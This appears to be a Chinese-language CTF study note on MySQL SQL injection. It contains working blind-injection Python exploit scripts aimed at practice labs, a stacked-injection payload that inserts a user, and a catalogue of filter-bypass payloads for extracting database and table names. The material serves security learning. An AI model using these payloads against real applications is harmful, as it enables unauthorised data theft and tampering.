# SQL 注入
[!IMPORTANT]
参考协会学长们的文章:
记录一下近期刷 Buuoj 学到的 SQL 注入技巧 | ek1ng’s Blog
SQL 注入 - 飞书云文档 (feishu.cn)
[!NOTE]
有关 SQL 语句的基本知识,可以参考 SQL Tutorial
portswigger 的 sql 注入备忘录:SQL injection cheat sheet | Web Security Academy (portswigger.net)
# SQl 注入中的信息收集
# 信息的获取
1 2 3 4 5 1. version() 数据库版本 2. user() 数据库用户名 3. database() 数据库名 4. @@datadir 数据库路径 5. @@version_compile_os 操作系统版本
# 字符串拼接
concat(str1,str2,…)
能够将你查询的字段连接在一起
concat_ws(separator,str1,str2,)
能够自定义分隔符来将你查询的字段链接在一起
group_concat([DISTINCT] column [Order BY ASC/DESC column] [Separator separator])
一般来说这个函数是配合 group by
子句来使用的,但是在 SQL 注入中,我们用他来输出查询出来的所有数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 mysql> select id, username, password from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | | 4 | secure | crappy | | 5 | stupid | stupidity | | 6 | superman | genious | | 7 | batman | mob!le | | 8 | admin | admin | | 9 | admin1 | admin1 | | 10 | admin2 | admin2 | | 11 | admin3 | admin3 | | 12 | dhakkan | dumbo | | 14 | admin4 | admin4 | +----+----------+------------+ 13 rows in set (0 .01 sec)mysql> select concat(id,username,password) from users; +------------------------------+ | concat(id,username,password) | +------------------------------+ | 1 DumbDumb | | 2 AngelinaI-kill-you | | 3 Dummyp@ssword | | 4 securecrappy | | 5 stupidstupidity | | 6 supermangenious | | 7 batmanmob!le | | 8 adminadmin | | 9 admin1admin1 | | 10 admin2admin2 | | 11 admin3admin3 | | 12 dhakkandumbo | | 14 admin4admin4 | +------------------------------+ 13 rows in set (0 .01 sec)mysql> select concat(id,username,password) from users; +------------------------------+ | concat(id,username,password) | +------------------------------+ | 1 DumbDumb | | 2 AngelinaI-kill-you | | 3 Dummyp@ssword | | 4 securecrappy | | 5 stupidstupidity | | 6 supermangenious | | 7 batmanmob!le | | 8 adminadmin | | 9 admin1admin1 | | 10 admin2admin2 | | 11 admin3admin3 | | 12 dhakkandumbo | | 14 admin4admin4 | +------------------------------+ 13 rows in set (0 .01 sec)mysql> select group_concat(id,username separator '_') from users; +--------------------------------------------------------------------------------------------------------------+ | group_concat(id,username separator '_') | +--------------------------------------------------------------------------------------------------------------+ | 1 Dumb_2Angelina_3Dummy_4secure_5stupid_6superman_7batman_8admin_9admin1_10admin2_11admin3_12dhakkan_14admin4 | +--------------------------------------------------------------------------------------------------------------+ 1 row in set (0 .00 sec)
# SQL 注入类型
# 布尔盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport timeurl = "" dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{' flag = '' for num in range (1 ,500 ): print (num) for i in dictionary: data = {'name' :"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #" .format (num,i), 'pass' :'123456' } res = requests.post(url = url,data = data) time.sleep(0.2 ) if res.txt == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' : flag += i print (flag) break print (flag)
Liki4 学长的 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from mysqli_invisible_bool import *import stringimport ioimport sysdef escape_string (c ): return "\\" + c if c in ".+*" else c def exp (): payload_template = "Liki4' AND if({exp},1,0);#" space = string.ascii_letters + string.digits + ' _:,$.' exp_template = "@@version RLIKE '^{c}'" exp_template = "DATABASE() RLIKE '^{c}'" exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" print (exp_template) Flag = True data = "" while Flag: ori_stdout = sys.stdout for c in space: payload = payload_template.format (exp=exp_template.format (c=data+c)) sys.stdin = io.StringIO(payload + '\n123\n' ) res = sys.stdout = io.StringIO() main() output = str (res.getvalue()) if "failed" in output: continue if c == "$" : Flag = False break if "success" in output: data += c break sys.stdout = ori_stdout if Flag: print (data, end="\r" ) else : print (data) if __name__ == "__main__" : exp()
# 时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import requestsimport stringurl = "http://10.16.53.180/newsqli/Less-9/" def timeOut (url ): try : res = requests.get(url, timeout=3 ) return (res.text) except Exception as e: return ("timeout" ) daNnamelen = 0 while True : daNnamelen +=1 dbNameLen_url = url + "?id=1'+and+if(length(database())=" +str (daNnamelen)+",sleep(5),1)--+" print (dbNameLen_url) if "timeout" in timeOut(dbNameLen_url): print (daNnamelen) break if daNnamelen == 30 : print ("error!" ) break dbName = "" for i in range (1 , 9 ): for a in string.ascii_lowercase: dbName_url = url + "?id=1'+and+if(substr(database()," +str (i)+",1)='" +a+"',sleep(5),1)--+" print (dbName_url) if "timeout" in timeOut(dbName_url): dbName += a print (dbName) break '''下面是代码的详细解释: 导入所需的库: requests:用于发送 HTTP 请求。 string:包含常用的字符串常量,如 ASCII 字母表。 设置目标 URL: url:这是目标网站的 URL,其中包含一个 SQL 注入漏洞。 定义 timeOut 函数: 这个函数尝试向给定的 URL 发送 GET 请求,并设置一个 3 秒的超时时间。 如果请求成功,它会返回响应的文本内容。 如果请求超时或发生其他异常,它会返回字符串 "timeout"。 确定数据库名称的长度: daNnamelen:用于跟踪数据库名称的长度。 在 while 循环中,脚本尝试向 URL 插入一个 SQL 语句,该语句会检查数据库名称的长度是否等于 daNnamelen。如果是,它会触发一个 5 秒的延迟(通过 sleep(5))。 如果 timeOut 函数返回 "timeout",那么脚本就知道它已经找到了正确的长度,并打印出来。 如果尝试超过 30 次还没有找到正确的长度,脚本会打印 "error!" 并退出循环。 确定数据库名称: dbName:用于存储数据库名称。 使用两个嵌套的 for 循环,脚本尝试确定数据库名称的每个字符。 对于每个位置(由 i 指定),它尝试所有可能的 ASCII 小写字母(由 a 指定)。 如果某个字符导致 timeOut 函数返回 "timeout",那么脚本就知道它找到了正确的字符,并将其添加到 dbName 中。 当所有字符都被确定后,数据库名称就被完全揭示出来。'''
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from mysqli_invisible_time import *import stringimport ioimport sysimport signaldef handler (signum, frame ): raise Exception("timeout" ) signal.signal(signal.SIGALRM, handler) def escape_string (c ): return "\\" + c if c in ".+*" else c def exp (): payload_template = "Liki4' AND if({exp},SLEEP(1),0);#" space = string.ascii_letters + string.digits + ' _:,$.' exp_template = "@@version RLIKE '^{c}'" exp_template = "DATABASE() RLIKE '^{c}'" exp_template = "(SELECT GROUP_CONCAT(table_name, ':', column_name) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = DATABASE()) RLIKE '^{c}'" exp_template = "(SELECT binary GROUP_CONCAT(secret_string) FROM secret) RLIKE '^{c}'" print (exp_template) Flag = True data = "" while Flag: ori_stdout = sys.stdout for c in space: payload = payload_template.format (exp=exp_template.format (c=data+c)) sys.stdin = io.StringIO(payload + '\n555_i_dont_know_password' ) res = sys.stdout = io.StringIO() signal.alarm(1 ) try : main() print ("timeout" ) except : print ("bingooo" ) output = str (res.getvalue()) if "timeout" in output: continue if c == "$" : Flag = False break if "bingooo" in output: data += c break sys.stdout = ori_stdout if Flag: print (data, end="\r" ) else : print (data) if __name__ == "__main__" : exp()
# 报错注入
SQL 注入之报错注入
# 堆叠注入
当注入点使用的执行函数允许一次性执行多个 SQL 语句 的时候,例如 PHP 中的 multi_query
,堆叠注入即存在。堆叠注入相较于其他方式,利用的手法更加自由,不局限于原来的 SELECT 语句,而可以拓展到 INSERT、SHOW、SET、UPDATE 语句等。
1 Liki4';INSERT INTO users VALUES ('Liki3','01848f8e70090495a136698a41c5b37406968c648ab12133e0f256b2364b5bb5');#
INSERT 语句也被成功执行了,向数据库中插入了 Liki3 的数据
# 二次注入
二次注入的原理与前面所有的注入方式一致,仅仅在于触发点不同。
在某些 Web 应用中,注册时对用户的输入做了良好的预处理,但在后续使用的过程中存在未做处理的注入点,此时即可能造成二次注入
常见的场景,例如某平台在用户注册时无法进行 SQL 注入利用,但在登陆后的用户个人信息界面进行数据查询时存在可利用的注入点。
那么我们在注册的时候即便无法当即触发 SQL 注入,但可以将恶意 payload 暂时写入到数据库中,这样一来当我们访问个人信息界面查询这个恶意 payload 的时候即会在可利用的注入点触发 SQL 注入。
# SQL 注入常见的过滤绕过方式
# 空格被过滤
/*xxx*/
MySQL 行内注释
SELECT/*1*/username,password/*1*/FROM/*1*/users;
()
SELECT(username),(password)FROM(users);
%20 %09 %0a %0b %0c %0d %a0 %00
等不可见字符
# 引号被过滤
十六进制代替字符串
SELECT username, password FROM users WHERE username=0x4c696b6934
# 逗号被过滤
from for
1 2 3 select substr(database(),1,1); select substr(database() from 1 for 1); select mid(database() from 1 for 1);
join
1 2 select 1,2 select * from (select 1)a join (select 2)b
like/rlike
1 2 select ascii(mid(user(),1,1))=80 select user() like 'r%'
offset
1 2 select * from news limit 0,1 select * from news limit 1 offset 0
# 比较符号 (<=>)
被过滤
=
用 like, rlike, regexp
代替
1 2 3 select * from users where name like 'Liki4' select * from users where name rlike 'Liki4' select * from users where name regexp 'Liki4'
<>
用 greatest()、least()
1 2 select * from users where id=1 and ascii(substr(database(),0,1))>64 select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
between
1 select * from users where id between 1 and 1;
# or and xor not
被过滤
and = &&
or = ||
xor = |
not = !
在 SQL 注入中, infromation_schema
库的作用无非就是可以获取到 table_schema, table_name, column_name
这些数据库内的信息。
# 常用函数被过滤
hex()、bin() = ascii()
sleep() = benchmark()
concat_ws() = group_concat()
mid()、substr() = substring()
@@user = user()
@@datadir = datadir()
# MySQL 5.6 的新特性
在 MySQL 5.5.x 之后的版本,MySQL 开始将 innoDB 引擎作为 MySQL 的默认引擎,因此从 MySQL 5.6.x 版本开始,MySQL 在数据库中添加了两张表, innodb_index_stats
和 innodb_table_stats
,两张表都会存储数据库和对应的数据表。
因此,从 MySQL 5.6.x 开始,有了取代 information_schema
的表名查询方式,如下所示
1 2 select table_name from mysql.innodb_index_stats where database_name=database(); select table_name from mysql.innodb_table_stats where database_name=database();
# MySQL 5.7 的新特性
由于 performance_schema
过于发杂,所以 MySQL 在 5.7 版本中新增了 Sys schema
视图,基础数据来自于 performance_chema
和 information_schema
两个库。
而其中有这样一个视图, schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
,我们可以翻阅官方文档对其的解释
查询表的统计信息,其中还包括 InnoDB 缓冲池统计信息,默认情况下按照增删改查操作的总表 I/O 延迟时间(执行时间,即也可以理解为是存在最多表 I/O 争用的表)降序排序,数据来源:performance_schema.table_io_waits_summary_by_table、sys.xp s s c h e m a t a b l e s t a t i s t i c s i o 、 s y s . x ps_schema_table_statistics_io、sys.x p s s c h e m a t a b l e s t a t i s t i c s i o 、 s y s . x innodb_buffer_stats_by_table
其中就包含了存储数据库和对应的数据表,于是就有了如下的表名查询方式
1 2 select table_name from sys.schema_table_statistics_with_buffer where table_schema= database();select table_name from sys.x$schema_table_statistics_with_buffer where table_schema= database();
# 无列名注入
在因为 information_schema
被过滤或其他原因无法获得字段名的时候,可以通过别名的方式绕过获取字段名的这一步骤
1 select a,b from (select 1 as a, 2 as b union select * from users)x;